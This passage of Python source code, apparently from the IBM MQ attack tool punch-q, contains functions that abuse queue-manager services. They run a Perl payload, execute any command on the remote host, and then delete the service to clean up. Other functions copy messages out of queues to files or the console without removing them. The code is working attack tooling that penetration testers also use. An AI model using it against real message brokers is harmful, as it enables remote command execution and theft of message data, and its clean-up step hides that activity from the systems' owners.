    click.secho('Service Name: {0}\n'.format(service_name))

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # create the service
    click.secho('Creating service...', dim=True)
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: '/usr/bin/perl',
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: "-e \"{0}\"".format(payload)
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    click.secho('Starting service...', fg='green')
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_START_SERVICE(args)

    click.secho('Giving the service {0} second(s) to live...'.format(wait),
                dim=True)
    time.sleep(wait)

    # delete service
    click.secho('Cleaning up service...', dim=True)
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()

    click.secho('Done', fg='green')
Exemple #16
0
def save(queue, limit, directory):
    """
        Save messages from a queue to a file, non-destructively.
    """

    mqstate.validate(['host', 'port', 'channel'])

    # Automatically generate a directory to save messages to
    if not directory:
        directory = safe_filename(mqstate.host + '_' + safe_filename(queue))
        click.secho(f'Saving messages to \'{directory}\'...', dim=True, fg='green')

    # check that the directory is ready for use
    absolute_path = os.path.abspath(directory)
    if not os.path.exists(absolute_path):
        click.secho(f'Creating {absolute_path} to save messages in...', dim=True)
        os.makedirs(absolute_path, mode=0o755)

    click.secho(f'Saving a maximum of {limit} messages from {queue}...', dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm
    # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py
    gmo = pymqi.GMO()
    gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT
    queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE)

    message_count = 0

    while message_count < limit:
        try:

            request_md = pymqi.MD()
            message = queue.get(None, request_md, gmo)

            file_name = filename_from_attributes(
                mq_string(request_md.PutDate),
                mq_string(request_md.PutTime),
                '.' + hashlib.sha1(request_md.MsgId).hexdigest() + '.',
                request_md.MsgType,
                request_md.Expiry,
                mq_string(request_md.UserIdentifier),
                mq_string(request_md.Format),
                mq_string(request_md.PutApplName))

            # try get a safe filename from all of that
            file_name = slugify(file_name)

            with open(os.path.join(absolute_path, file_name), 'wb') as f:
                f.write(message)

            click.secho(f'{message_count}: Wrote message to {file_name}', bold=True, fg='green')

        except pymqi.MQMIError as dme:
            if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE:
                click.secho('Dump complete. No more messages on the queue.', fg='yellow')

                break

            # if we are not allowed to GET on this queue, mention that and quit
            if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED:
                click.secho('GET not allowed on queue with current access.', fg='red')

                break

            else:
                raise dme

        message_count += 1

    click.secho(f'Saved {message_count} message(s) in total.', bold=True)

    queue.close()
    qmgr.disconnect()
Exemple #17
0
def execute(cmd, args, service_name, wait, ignore_path):
    """
        Execute an arbitrary command.

        \b
        Examples:
            python punch-q.py command execute -c /bin/ping -a "-c 1 192.168.0.1"
            python punch-q.py -C pq.yml command execute --cmd "/bin/ping" --args "-c 5 192.168.0.8" --wait 8
    """

    # Generate a service name if none was provided
    if not service_name:
        service_name = uuid.uuid4()

    # Cleanup the service name to remove spaces and dashes and limit to 16 chars
    service_name = str(service_name).replace('-', '').replace(' ', '')[0:16].encode()

    # Check if a full path was provided for the command to run.
    #   Seems like the ENV for MQ does not have a PATH set
    if '/' not in cmd and not ignore_path:
        click.secho('The command does not appear to be a full path to the executable. This command execution may '
                    'fail. Are you sure you want to continue?', fg='yellow')
        if not click.confirm('Continue?'):
            return

    # information
    click.secho(f'Command: {cmd}', dim=True)
    click.secho(f'Arguments: {args}', dim=True)
    click.secho(f'Service Name: {service_name.decode()}\n', dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # create the service
    click.secho('Creating service...', dim=True)
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: cmd.encode(),
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: args.encode(),
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    click.secho('Starting service...', fg='green')
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name
    }

    try:

        pcf = pymqi.PCFExecute(qmgr)
        pcf.MQCMD_START_SERVICE(args)

    except pymqi.MQMIError as dme:
        if dme.reason == pymqi.CMQCFC.MQRCCF_PROGRAM_NOT_AVAILABLE:
            click.secho(f'The program \'{cmd}\' is not available on the remote system.', fg='red')
            return

        else:
            raise dme

    click.secho(f'Giving the service {wait} second(s) to live...', dim=True)
    time.sleep(wait)

    # delete service
    click.secho('Cleaning up service...', dim=True)
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name
    }

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()

    click.secho('Done', fg='green')
Exemple #18
0
def dump(queue, limit):
    """
        Dump messages from a queue, non-destructively.
    """

    click.secho('Dumping a maximum of {0} messages from {1}...'.format(
        limit, queue),
                dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm
    # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py
    gmo = pymqi.GMO()
    gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT
    queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE)

    message_count = 0

    while message_count < limit:

        try:

            request_md = pymqi.MD()
            message = queue.get(None, request_md, gmo)

            # check if we have a MQSTR message.
            if request_md.Format.strip() not in ['MQSTR', '']:
                # remove non-printables and update the Format
                # column with (stripped) so that it is visible
                message = filter(
                    lambda x: x in string.printable
                    if x not in ['\n', '\t', '\r', '\r\n'] else '', message)
                request_md.Format = request_md.Format.strip() + ' (stripped)'

            table = get_table_handle([
                'Date', 'Time', 'MsgID', 'MsgType', 'Expiry', 'User', 'Format',
                'App Name'
            ],
                                     markdown=False)
            table.append_row([
                request_md.PutDate,
                request_md.PutTime,
                filter(lambda x: x in string.printable,
                       request_md.MsgId),  # f* up non-printables.
                request_md.MsgType,
                request_md.Expiry,
                request_md.UserIdentifier.strip(),
                request_md.Format.strip(),
                request_md.PutApplName.strip(),
            ])

            # Print a 'header' for the message
            click.secho(table.get_string())

            # Print the message itself
            click.secho('\n' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40,
                        dim=True)
            click.secho(message.strip())
            click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n',
                        dim=True)

        except pymqi.MQMIError as dme:

            if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE:
                click.secho('Dump complete. No more messages on the queue.',
                            fg='yellow')

                break

            else:
                raise dme

        message_count += 1

    click.secho('')
    click.secho('\nGot {0} message(s) in total.'.format(message_count),
                dim=True)

    queue.close()
    qmgr.disconnect()